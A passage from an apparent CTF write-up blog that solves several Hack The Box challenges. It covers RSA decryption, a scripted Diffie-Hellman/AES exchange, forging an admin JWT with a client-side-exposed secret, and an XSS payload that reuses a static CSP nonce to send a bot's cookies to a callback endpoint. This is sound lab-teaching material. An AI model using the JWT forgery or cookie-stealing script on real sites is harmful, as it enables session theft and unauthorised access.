211565639988646066084516543793152198691, 301666687585301891299278182740559644813,
328590850013220519307624591674287922827, 275659373105708586943140025923053203649,
234412327930918375982208973121051256703, 287388491685355701504000759461314948007,
324591622192086196189873735246561229599, 299880188984019031026827249219116473077,
231064506115305357425020635842612539447, 177433995632585646643938770425036805593,
219876124958933231098612850322526589449, 307618172470874661743505812942878894883,
271852097809552507680385772555572662251, 201248411415496041161608451182478476651,
237698251138254651570085824926169468373, 257625975719126301912858129201276787967
]
recomputed_n = prod(recovered_primes)
e = 65537
phi_n = prod([p - 1 for p in recovered_primes])
d = mod_inverse(e, phi_n)
# you can find this number in output (c = pow(m, e, n) in source.py)
c = 258206881010783673911167466000280032795683256029763436680006622591510588918759130811946207631182438160709738478509009433281405324151571687747659548241818716696653056289850196958534459294164815332592660911913191207071388553888518272867349215700683577256834382234245920425864363336747159543998275474563924447347966831125304800467864963035047640304142347346869249672601692570499205877959815675295744402001770941573132409180803840430795486050521073880320327660906807950574784085077258320130967850657530500427937063971092564603795987017558962071435702640860939625245936551953348307195766440430944812377541224555649965224
# Decrypt ciphertext
m = pow(c, d, recomputed_n)
print(f"Decrypted message (as integer): {m}")
decrypted_flag = long_to_bytes(m)
print(f"Decrypted flag: {decrypted_flag.decode()}")
After following my ChatGPT generated homework, and running the scripts, you’ll hopefully be able to get the flag.
Hybrid Unifier
TL;DR: Diffie-Hellman Key Exchange
This is a web application challenge that revolves around the Diffie–Hellman key exchange. We’re given a PDF guide that outlines all the endpoints and stuff we need to do, the source code files of the web app, and the Docker files, so we can run the application ourselves locally. For these challenges that give us the Dockerfile, we can take a look at them and see where flag.txt is located, which I think can be pretty helpful in case there are any curveballs with regards to finding the flag. In this instance, it’s in WORKDIR
which becomes our root directory or (“/”) for all subsequent operations. You can take a look at the code and it uses open(‘/flag.txt’).read() to read from the flag file.
WORKDIR /app/application
COPY challenge/application .
COPY flag.txt /flag.txt
# COPY just copies whatever is locally to the container
Now to begin. Let’s start with reading the PDF. The PDF suggests we use the Python requests library for making JSON API requests to the server, but I used Bruno instead on my Linux Parrot machine. Bruno (https://github.com/usebruno/bruno) is an open-source GUI web API client similar to Postman. You can do the challenge however you prefer, even maybe with something like curl or Burp Suite instead, but I thought using Bruno would be perfect for this.
A basic rundown for the key exchange works like this. Client and Server will agree on values p and g. You (Client) choose a private key of any value. You then compute your public key (g ** client_secret_key mod p) and send it to the server, the server will send back its own as well. You then compute the shared secret key from server_public_key ** client_server_key mod p, and use that key to decrypt and encrypt any future operations.
So to start, I just send an empty post request to {{URL}}/api/request-session-parameters
, and I receive the g and p values to kick off our DH key exchange. g becomes our base and p becomes our modulus. 0x2 is just 2 in decimal.
SERVER RESPONSE:
{
"g": "0x2",
"p": "0xbbc576bfe811c5825172e7d18428ab15a548bd133af10ff316bd33c318686d978deb0988bc3e452f39b4315c761064df"
}
We start with the code in this script to compute our public key.
dh_script.py
from hashlib import sha256
from base64 import b64encode as be, b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
g = '0x2'
p = '0xe484681d52f9c4fa551d674240702c45b7a8a447bf25ce77a449da989daf7cbd851e5be04aae5baaaca018084894a481'
g = int(g,16) # this converts the hex values to decimal
p = int(p,16)
secret = 123456789 # I used this value for my secret key
public_key = pow(g,secret,p)
print("Client public key " + str(public_key))
Client public key 12363514198423420446002653264771720144953485009091946716160356496102081337608902276803225452666148157102319887249377
I then go back to Bruno and send another request to {{URL}}/api/init-session
to send our public key with the following json body. The content-type header should be set to application/json.
CLIENT REQUEST:
{
"client_public_key": 12363514198423420446002653264771720144953485009091946716160356496102081337608902276803225452666148157102319887249377
}
Note: this is a number not a string with quotes. Otherwise, it will create an Internal Server error.
SERVER RESPONSE:
{
"server_public_key": "0x4156335656626912d3677ffe4aa91c2e3647288b7938e31b4aadcbc9c4dbb2b6bc625835d45974345ab16ae3f82d2292",
"status_code": 200,
"success": "A secure session was successfully established. There will be E2E encryption for the rest of the communication."
}
We get the server's public key now and so we’ll be able to compute the shared secret key.
A lot of the following steps will be tracing where things go on the backend so that we know how to correctly encrypt and decrypt the operations.
# We use the same dh_script.py but add more to it
<SNIP>
server_public_key = '0xc2f3aefd16c2905edb750e34c83bb012208c1a497c6b5dea95595a7e5d3be1e5c14dcd8a3161a979c2a8b46518996167'
server_public_key = int(server_public_key,16)
shared_secret = pow(server_public_key,secret,p)
print("Shared secret " + str(shared_secret))
We can then send an empty POST request to {{URL}}/api/request-challenge
, and if the previous steps were successful we’ll receive our challenge.
Let's pause here a bit to look at the source code.
views.py (source code file)
# Step 4. Authenticate by responding to the challenge and send an encrypted packet with 'flag' as action to get the flag.
@bp.route('/api/dashboard', methods=['POST'])
def access_secret():
if not session.initialized:
return jsonify({'status_code': 400, 'error': 'A secure server-client session has to be established first.'})
data = request.json
if 'challenge' not in data:
return jsonify({'status_code': 400, 'error': 'You need to send the hash of the challenge.'})
if 'packet_data' not in data:
return jsonify({'status_code': 400, 'error': 'Empty packet.'})
challenge_hash = data['challenge']
if not session.validate_challenge(challenge_hash):
return jsonify({'status_code': 401, 'error': 'Invalid challenge! Something wrong? You can visit /request-challenge to get a new challenge!'})
encrypted_packet = data['packet_data']
packet = session.decrypt_packet(encrypted_packet)
if not 'packet_data' in packet:
return jsonify({'status_code': 400, 'error': packet['error']})
action = packet['packet_data']
if action == 'flag':
return jsonify(session.encrypt_packet(open('/flag.txt').read()))
elif action == 'about':
return jsonify(session.encrypt_packet('[+] Welcome to my custom API! You are currently Alpha testing my new E2E protocol.\nTo get the flag, all you have to do is to follow the protocol as intended. For any bugs, feel free to contact us :-] !'))
else:
return jsonify(session.encrypt_packet('[!] Unknown action.'))
We need two things for our request here. The challenge (hash) and packet_data set to the string 'flag' encrypted with our shared secret key. It’s important to note the challenge we received from the server is not the challenge hash.
session.py (source code file)
def establish_session_key(self, client_public_key):
key = pow(client_public_key, self.a, self.p)
self.session_key = sha256(str(key).encode()).digest()
def reset_challenge(self):
self.challenge = os.urandom(24)
def validate_challenge(self, challenge_hash):
validated = challenge_hash == sha256(self.challenge).hexdigest()
if validated:
self.reset_challenge()
return validated
def encrypt_packet(self, packet):
iv = os.urandom(16)
cipher = AES.new(self.session_key, AES.MODE_CBC, iv)
encrypted_packet = iv + cipher.encrypt(pad(packet.encode(), 16))
return {'packet_data': be(encrypted_packet).decode()}
def decrypt_packet(self, packet):
decoded_packet = bd(packet.encode())
iv = decoded_packet[:16]
encrypted_packet = decoded_packet[16:]
cipher = AES.new(self.session_key, AES.MODE_CBC, iv)
try:
decrypted_packet = unpad(cipher.decrypt(encrypted_packet), 16)
packet_data = decrypted_packet.decode()
except:
return {'error': 'Malformed packet.'}
return {'packet_data': packet_data}
def get_encrypted_challenge(self):
iv = os.urandom(16)
cipher = AES.new(self.session_key, AES.MODE_CBC, iv)
encrypted_challenge = iv + cipher.encrypt(pad(self.challenge, 16))
return be(encrypted_challenge)
Here in sessions.py
we see the how the encryption works. We can get our challenge hash by first reversing the get_encrypted_challenge function. But to do that, we need to first figure out the session key, which is the sha256 hash of the bytes of the shared secret (refer to the establish_session_key function). After that, we reverse get_encrypted_challenge.
The function ends with base64 encoding the challenge string. So we’ll kick things off by base64 decoding it. Then we need to determine the initialization vector which is the first 16 bytes of the challenge. The rest of the bytes are the encrypted data we can reverse with the session_key. We decrypt, unpad and then finally get the sha256 hash of the decrypted data.
Let’s just add this to dh_script.py
:
challenge = 'lmeYqzJOgVDsBy8SbH9GeDeH6b1l1WFXALztsMufXdr6D8GlHdClW60geZe0kT8s'
# base64
session_key = sha256(str(shared_secret).encode()).digest()
encrypted_challenge = b64decode(challenge)
iv = encrypted_challenge[:16]
encrypted_data = encrypted_challenge[16:]
cipher = AES.new(session_key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(encrypted_data)
original_challenge = unpad(decrypted_data,16)
answer_challenge = sha256(original_challenge).hexdigest()
print("Challenge hash " + answer_challenge) # challenge hash
Since we have our challenge hash, now we just need to encrypt our packet data. We can just grab the function from session.py and add it to our script without including the selfs.
def encrypt_packet(packet):
iv = os.urandom(16)
cipher = AES.new(session_key, AES.MODE_CBC, iv)
encrypted_packet = iv + cipher.encrypt(pad(packet.encode(), 16))
return {'packet_data': be(encrypted_packet).decode()}
print(encrypt_packet('flag'))
So we now have two of the missing puzzle pieces. We just need to send them to {{URL}}/api/dashboard
...
CLIENT REQUEST
{
"packet_data": "GH820HhIEWalRzuY2nKa0ouMN/Qyhq6uOcAhnQ6atRU=",
"challenge": "f5fc4b8455bfbf3c619d8698ab2b7a6f4901d7d28eac26403380526304d012cc"
}
...then the server will send us the encrypted payload or flag in kind. To finish things, we can grab decrypt_packet from session.py
and add that to our script (again without the selfs). The packet_answer variable I used is just the packet_data response from the server.
def decrypt_packet(packet):
decoded_packet = b64decode(packet.encode())
iv = decoded_packet[:16]
encrypted_packet = decoded_packet[16:]
cipher = AES.new(session_key, AES.MODE_CBC, iv)
try:
decrypted_packet = unpad(cipher.decrypt(encrypted_packet), 16)
packet_data = decrypted_packet.decode()
except:
return {'error': 'Malformed packet.'}
return {'packet_data': packet_data}
packet_answer = "fGY8mNDx3pL7Tw9dupobK8Vgh3Y2J8hbeSWFSplvkWhIJSExIwaPLISDtAzw6KQ5HhjlsRHS5oAonqMLuSiAP0NT4FIac8JdZSHrDaCe5pRHH47/3o8+BjFi9gQfs+U8YkVdQjzkzt1jQIouxi/se3/nAAHolJB5bh3FOg1qH/U="
print(decrypt_packet(packet_answer))
Congrats.
Web
Witch Way
TL;DR: The algorithm for generating JWT tokens is left exposed to all users
In this challenge, we have yet another web application and given the source code files as well. Visiting the website, we come across a form where we can submit tickets.
Under routes\index.js in source code files, we have a /tickets
directory where we probably can find our flag, but our username must be set to “admin” to get the tickets, and to authenticate as admin we need a valid session token. The method used to create JWT tokens for the cookies is exposed client-side on index.html or the home page.
We can run the following code in our browser. I initially thought of using jwt.to but there were some quirks to it so I just did it all on my Firefox browser’s console using JavaScript. Chat helped me a lot with this.
async function signJWT(header, payload, secret) {
// 1. Prepare the header and payload in Base64URL format
const headerBase64 = btoa(JSON.stringify(header))
.replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
const payloadBase64 = btoa(JSON.stringify(payload))
.replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
// 2. Concatenate the header and payload with a dot (.)
const dataToSign = `${headerBase64}.${payloadBase64}`;
// 3. Import the secret key using crypto.subtle
const secretKey = await crypto.subtle.importKey(
"raw",
new TextEncoder().encode(secret), // Encode secret into bytes
{ name: "HMAC", hash: "SHA-256" }, // HMAC-SHA256
false, // Not extractable
["sign"] // Allow signing
);
// 4. Sign the concatenated header and payload
const signatureArrayBuffer = await crypto.subtle.sign(
{ name: "HMAC" },
secretKey,
new TextEncoder().encode(dataToSign) // Encode data to sign
);
// 5. Convert the signature to Base64URL format
const signatureBase64 = btoa(String.fromCharCode(...new Uint8Array(signatureArrayBuffer)))
.replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
// 6. Create the final JWT by concatenating the header, payload, and signature
const jwt = `${dataToSign}.${signatureBase64}`;
return jwt;
}
const header = { alg: "HS256", typ: "JWT" };
const payload = { username: "admin", iat: Math.floor(Date.now() / 1000) };
const secret = "halloween-secret"; // Your secret key
signJWT(header, payload, secret).then(jwt => {
console.log("Generated JWT:", jwt);
});
[To get this to work locally, you need to change the secret "halloween-secret" to "[REDACTED]": Refer to const secretKey in the original JavaScript on the home page.]
Generated JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzI5ODAzNDM5fQ.2gHCHhGbjzlKDDhnGKoivX48kQR4sKhX-lJnOb-beoA
Set this Cookie: session_key=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzI5ODAzNDM5fQ.2gHCHhGbjzlKDDhnGKoivX48kQR4sKhX-lJnOb-beoA
in your browser or whatever web tool and you’ll be able to access /tickets
as admin and find the flag.
Cursed Stale Policy
TL;DR: "Content-Security-Policy" and nonces.
In this challenge, we’re presented with a safe and unsafe content security policy. Content Security Policies are configured by websites and enforced by our browsers. They help prevent us from accidentally executing malicious scripts and falling victim to Cross Site Scripting (XSS) attacks. We have a button to trigger a bot with a script already filled in for us that can basically grab whatever is on the backend’s cookies (basically our flag if you look through the source code: bot.js) and send them to /callback
which I guess is what will in turn allow us to read from the data. So, we’re pretty much doing an XSS attack. We also have a bunch of other data that helps us monitor in a way what we’re doing like how our script or trigger bot is violating the site’s content security policy. I’m not one hundred percent sure on how all of this works but that’s the gist of it.
If we click sample safe policy, we have the following configuration.
script-src 'strict-dynamic' 'nonce-rAnd0m123' https:;
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
require-trusted-types-for 'script';
strict-dynamic
:
If present, the policy trusts dynamically-inserted scripts (e.g., using document.createElement) as long as they come from an initially allowed script (e.g., a script with the correct nonce — nonce-rAnd0m123
).
This gives more trust to nonces and reduces reliance on static lists of trusted URLs.
If we refresh the page though we see a different configuration which is neither in the sample unsafe nor safe policies.
default-src 'self';
script-src 'self' 'nonce-7d6c8761f0d9e3ac17b33ce25b81588d';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
object-src 'none';
base-uri 'none';
report-uri /csp-report
It’s kinda silly but the quickest way to solve this I found is by putting that nonce right there in our trigger bot script, and of course triggering the bot.
<script nonce="7d6c8761f0d9e3ac17b33ce25b81588d">
fetch('/callback', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ cookies: document.cookie })
});
</script>
Just take a loot at the most recent entry under Request History and scroll down until you find Raw Data:
{
"cookies": "flag=HTB{f4k3_fl4g_f0r_t3st1ng}"
}
The thing here is if you use Burp Suite to intercept the requests from triggering the bot, it’ll catch the client making a websocket connection to /ws
. You’ll notice the server sending a payload with a bunch of different stuff for violations, but what we should take note of is the value for original (content security) policy.
"original-policy":"default-src 'self'; script-src 'self' 'nonce-4fee1940cf0215d0e0d882a25c4645e0'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'none'; report-uri http://192.168.1.2:1337/csp-report",
Now if we do the same thing triggering the bot and intercepting the requests, you’ll begin to notice the nonce (which should be a number used only once hence n + once) never changes. You can also just view this from inside the Most Recent CSP Violation box on the home page, there’ll be a line for the original policy. As long as we add the nonce (which never changes) to our script, the website will accept our XSS of grabbing cookies.